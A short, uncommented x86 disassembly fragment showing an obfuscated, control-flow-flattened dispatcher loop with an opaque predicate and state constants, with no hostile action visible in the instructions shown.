jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e203703
mov ecx, 0xeb7a60ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x194], 0x334114be
jmp 0x413ea0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x194], 0x3bd66b3e
jmp 0x413ea0
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0x4fda286b
jmp 0x413ea0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0x4c4420e
jmp 0x413ea0
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x194], 0x63ade18d
jmp 0x413ea0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
sub ecx, 0x3e53c4ef
add ecx, 1
add ecx, 0x3e53c4ef
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0xd15eaf31
jmp 0x413ea0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x194], 0xd63f6595
jmp 0x413ea0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x194], 0x905385b6
jmp 0x413ea0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x194], 0xbf312732
jmp 0x413ea0
jmp 0x40f227